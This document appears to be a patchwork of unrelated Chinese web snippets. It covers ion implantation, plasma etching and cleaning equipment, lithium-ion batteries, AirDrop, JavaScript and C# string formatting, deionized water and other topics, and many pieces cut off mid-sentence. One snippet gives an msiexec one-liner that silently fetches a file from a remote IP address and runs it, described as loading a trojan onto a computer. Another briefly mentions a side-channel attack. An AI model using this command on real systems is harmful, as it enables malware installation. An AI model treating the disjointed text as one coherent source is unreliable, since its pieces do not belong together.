今天聊一下半导体工艺的一个知识，离子注入。离子注入是半导体掺杂以及改性常用的一个工艺。...离子注入机就是很关键的一环。...注入机是高压小型加速器中的一种，是由离子源得到所需要的离子，经过加速得到几百千电子伏能量的离子束流，用做半导体材料、大规模集成电路和器件的离子注入，还能用于太阳能电池等的制造。...离子注入机的内部结构示意图如上，等离子体产生之后，经过加速器等控制，打到行星盘上。 在wafer上离子是每一个点一个点的注入打击。 注入机外观： 上两个国产的设备，中科信电子的。...目前，全球离子注入机根据其下游应用不同，可以分为IC离子注入机和光伏离子注入机，IC离子注入机方面，美国的应用材料几乎垄断了市场，占据了70%左右的市场份额，其次为Axcelis（亚克士），占据了近20%
说到锂离子电池，一般做硬件的人，都应该想到一下几个部分： 电芯，电量计，电池保护板，电池充电电路。...For example,电池参数： 电芯： 根据锂离子电池所用电解质材料不同，锂离子电池可以分为液态锂离子电池(li thiumion battery,简称为LIB)和聚合物锂离子电池(polymer...记住：锂离子电池没有记忆效应（如镍镉电池，长期不彻底充电、放电，易在电池内留下痕迹，降低电池容量的现象） 即cell，有单芯，双芯，3芯，4芯。
隔空投送，是什么？利用“隔空投送”，您可以通过无线方式将文稿、照片、视频、网站、地图位置等发送到附近的 iPhone、iPad、iPod touch 或 Mac。...1、怎么开启隔空投送功能 1> 点击打开访达。 2> 在访达左边就可以看到隔空投送，点击它。 3> 打开后，我们需要点击打开‘Wi-Fi’。 4> 输入电脑密码，然后点击修改配置。...2、怎么使用隔空投送共享文件 1> 通过“隔空投送”共享文件 - 在“访达”窗口的左边中选择“隔空投送”。 - “隔空投送”窗口随即会显示附近的“隔空投送”用户。...- 通过“隔空投送”接收内容 - 当附近的其他人尝试使 用“隔空投送”给您发送文件时，您可以选择拒绝或接受他们的请求。...1> 在 Mac 上： - 从“访达”的菜单栏中选取“前往”>“隔空投送”，然后确保“隔空投送”已开启。 - 选中“隔空投送”窗口底部的“允许这些人发现我”设置。
最早报道等离子体刻蚀的技术文献于1973年在日本发表,并很快引起了工业界的重视。...等离子刻蚀的原理可以概括为以下几个步骤： ● 在低压下,反应气体在射频功率的激发下,产生电离并形成等离子体,等离子体是由带电的电子和离子组成,反应腔体中的气体在电子的撞击下,除了转变成离子外,还能吸收能量并形成大量的活性基团...在平行电极等离子体反应腔体中,被刻蚀物是被置于面积较小的电极上,在这种情况,一个直流偏压会在等离子体和该电极间形成,并使带正电的反应气体离子加速撞击被刻蚀物质表面,这种离子轰击可大大加快表面的化学反应,...由于电子在磁场和电场的共同作用下将作圆柱状回旋运动而不是电场下的直线运动,磁场的存在将直接导致反应气体电离截面的增加,磁场的引进会增强离子密度,并使得等离子刻蚀技术可以在更低气压下得以运用（离子密度的增加,撞击表面的离子能量也可以在不降低刻蚀速率的情况下被降低,从而提高刻蚀选择比。
离子注入作为半导体常用的掺杂手段，具有热扩散掺杂技术无法比拟的优势。...如何做好离子注入，可以通过以下公式计算得到。...离子注入工艺仿真 公式计算有点伤脑细胞啊，大家可以学习一下 《Silvaco TCAD工艺仿真离子注入、扩散、淀积和刻蚀》这本课 需要的同学可以来要PPT讲义。 TCAD有专门针对工艺仿真的功能。...上图是注入的参数选择窗口（Linux系统版本采用这个窗口） 例如我们模拟不同硼离子注入角度的效果 如上图，在晶向（110）的硅片上注入B离子，角度不同得到的注入深度对应的离子浓度不同。...在这里我们就可以清楚的得到，离子在哪个深度的浓度最大。
在现代科技的推动下，等离子体技术在各个领域中扮演着重要角色。而PLUTO-T型等离子清洗机作为其中的一员，其独特的工作机理使其成为清洗领域的一颗璀璨明星。...PLUTO-T型等离子清洗机采用射频等离子体来进行清洗工作。射频等离子体是一种高能离子化的气体，具有高温、高能的特点。其工作原理基于电离和化学反应的相互作用，通过释放大量能量来清洗物体表面。...具体来说，PLUTO-T型等离子清洗机中的射频等离子体是通过一个射频发生器产生的。该发生器会产生高频电场，将气体离子化并加热，形成高温高能的等离子体。...这些等离子体被喷射到待清洗的物体表面，通过碰撞和化学反应来去除表面的污垢和污染物。射频等离子体清洗的过程中，有两个主要的作用机制。...总而言之，PLUTO-T型等离子清洗机中射频等离子体通过离子轰击和化学反应的双重
msiexec.exe c:/windows/syswow64/msiexec.exe 远程加载木马到电脑上运行 msiexec /q /i http://192.168.119.135/go.txt 成功实现隔空执行
JS手撕(六) trim、模板字符串、千分位分隔符 trim 去掉字符串两边的空格。...手动实现Vue中的模板字符串。...，直到没有模板字符串时，才直接返回字符串。...函数的参数如下图所示： 从上图就可以知道，我们可以通过p1参数来换取模板字符串中的属性名。 并且该函数返回的值就会替换掉匹配到的字符串。...需要加g，变成全局匹配 return templateStr.replace(reg, (match, p1) => { return data[p1]; }) } 实现千分位分隔符
int m = 123456789; MessageBox.Show(m.ToString("N")); 如上代码，显示为：123,456,789.00，倒是实现了千位分隔，只是又冒出了小数。...MessageBox.Show(m.ToString("N0")); 如果是不知道类型的，可以进行判断 int i = -1; int.TryParse(dygz, out i);//dugz为自己洗完判断的字符串
这将是一篇比较短的文章。 我发文向来注重文章质量，营养不够的宁可不发，但是我相信很多人需要这篇文章。 之所以要去搞清楚这个问题，是我在把 vscode 的 ...
在氧等离子体轰击石墨涂层的过程中，基本的反应就是，氧等离子和石墨涂层中的表层C原子发生氧化反应，不论是生成了CO2或者CO，在等离子清洗机的反应腔内，是属于一种真空状态，所以反应的气体就会被抽离真空反应腔...，而相反各项异性水平刻蚀机制是指的是在同时刻蚀缺陷的情况下，氧等离子体刻蚀会优先寻找下层的缺陷在上层石墨涂层的缺陷被刻蚀的同时氧等离子体会优先寻找下层石墨涂层的缺陷，对于整体的石墨涂层陷刻蚀速率远大于非缺陷处的刻蚀速率...PLUTO-T等离子清洗机处理石墨案例 处理前 样品上贴了一片盖玻片作为阻挡 在经过PLTUO-T等离子清洗机处理之后，我们可以发现相对于处理前，处理后发生了很明显的变化。...，等离子体的流量，一定程度上可以制备出可控缺陷的石墨涂层。...说明氧等离子体刻蚀石墨涂层这一方法在制备石墨涂层方面有潜在的应用。
这段时间，相信大家看了不少关于“手机设置SIM卡密码”的安全提示新闻，但设置了SIM卡密码，其实也只是防止手机丢失情况下对方使用你的手机卡来接收短信验证码。对于...
目前各国科学家及研发机构也在寻找克服锂离子电池缺陷的解决方法，改善使用痛点。 短路的元凶究竟是谁？ 锂离子电池最早由索尼在1991年推出，其原理是依靠离子在电极间运动产生能量。...而且，锂离子电池重量更轻、能量密度更高，更加适合用于驱动电动汽车。 与其优点比起来，锂离子电池的缺点很少，但是每个缺点都十分致命。 这其中严重的，就是锂离子电池内部的枝晶。...不过与锂相比，钠更重，制成的钠离子电池储能能力也不如锂离子电池。 换种方式，继续使用锂 除了锂离子电池，现在也有研究机构在研发锂金属电池。...与锂离子电池不相同的是，锂金属电池采用金属锂作为负极，依靠金属锂的氧化反应产生电能；而锂离子电池使用石墨作为负极，以含锂化合物作为正极，依靠锂离子不断获得、失去电子来实现电能传输。...与锂离子电池不同，锂金属电池中的锂离子获得电子后，直接以金属锂颗粒的形式，附着在负极上，从而形成枝晶状图案。
介绍工艺之前，我们先聊一下昨天一个朋友提到的日本日新的离子注入设备。日本日新是全球3大离子注入设备商之一。 1973年的时候，该公司就开始做离子注入的工艺设备。 目前的主要业务设备如上表。...重点介绍激光领域用到的一款设备： 主要是注入H离子用的，可以达到400KeV的H+离子注入。...日新株式会社将在扬州经济技术开发区投资兴建离子注入机设备生产厂。 离子注入工艺参数 00 离子注入就像上图一样，把离子砸到晶圆中。涉及到使用的力度、数量、角度，砸进去的深度等。...设备可以选择工艺需要的价态离子进行注入。 如果单电荷可以做到400KeV的能量的话，对应3+离子可以做到1200KeV，可以直接倍速关系。...如果我们只知道需要掺杂的剂量，和离子能量，如何计算注入离子在靶材中的浓度和深度 例如一个140KeV的B+离子，注入150mm的6寸硅片上，注入剂量Q=5*1014/cm2，衬底浓度2*1016
两位博士，就读博的感受，展开了隔空“对线”。 ? 今天分享下这两篇，看看两位“过来人”博士，对于读博的看法。相信大家无论读博与否，都会有所启发。 以下原文： 读博，你真的想好了吗？
原理（how)在低温真空腔体内，等离子激发反应气体，在基材（被保护的PCBA)表面开启化学反应，生成纳米级厚度的网状保护膜（防泼溅、防潮、疏水、疏油，防腐蚀、防盐雾、防汗液）。...实现等离子超薄纳米涂层： 需要等离子真空设备+配方药水，此设备占地面积小，一键式自动操作（产品置于设备腔体0.5~1小时左右），超安静运行。
基本概述 TP4054是一个完善的单片锂离子电池恒流/恒压线性电源管理芯片。 更值得一提的是，TP4054专门设计适用于USB的供电规格。...TP4054芯片具有CC/CV模式，可以更好地对锂离子电池进行充电管理和保护，同时能够起到很好的充电与放电保护功能。...工作原理 TP4054是一款采用恒定电流/恒定电压算法的单节锂离子电池充电器。它能够提供最大500mA左右的充电电流（借助一个热设计良好的PCB布局）和一个内部P沟道功率MOSFET和热调节电路。
小型等离子清洗机结构要点 传统的电容耦合式等离子清洗机结构，即内平行极板。...系统由三大部分组成包括真空系统、放电系统和控制系统 在容性耦合等离子产生装置下，电子密度与极板间距成正比例关系，平均电子温度与极板间距成反比关系，其均匀性与极板间距成正比关系即随着间距的增大均匀性变好...卧室电容耦合等离子清洗机，可以直接将工件放在下电极上，但是研究发现，等离子体密度最大区域，是在等离子区域2-8cm 之间，因此可以使用一个高度为3cm的支座，支座的放置也便于工件的取放。...电容耦合式等离子清洗机反应室本身为不锈钢管构成，电容极板位于真空室内， 因为金属本身对于辐射具有很好的屏蔽效果，所以不需要在对装置设置单独的屏蔽 装置，辐射和干扰都非常小，不会对控制系统造成干扰。
今天拓展学习了一个半导体制造相关的知识：去离子水(Deionized water)。几乎每一道清洁流程的最后一步都要用到水。...规格自来水DI水电阻系数MΩ-cm0.000215~18电解质（百万分之）200，000＜25特别物（﹟/cm^3)100，000＜150活体有机物（﹟/cm^3)100~10，000＜10水之纯化几乎都用离子交换或去离子程序...软水槽：用离子交换树脂除去阴阳离子将硬水成软水。4. 碳吸收槽：活性碳过滤，除去氯和少量的有机物。5. 紫外光照射：用紫外光等方法控制细菌生长及除去有机物6. 超级过滤器：除去水中的微颗粒进一步纯化。...逆渗透膜之使用较为有效，因其减少了离子交换树脂再生的次数。
最终效果如下图所示，通过连续扫码实现“隔空取物”： ? 总结 本文通过模拟特定场景下的侧信道攻击，可以实现非网络传输，非硬件破解的“隔空取物”。
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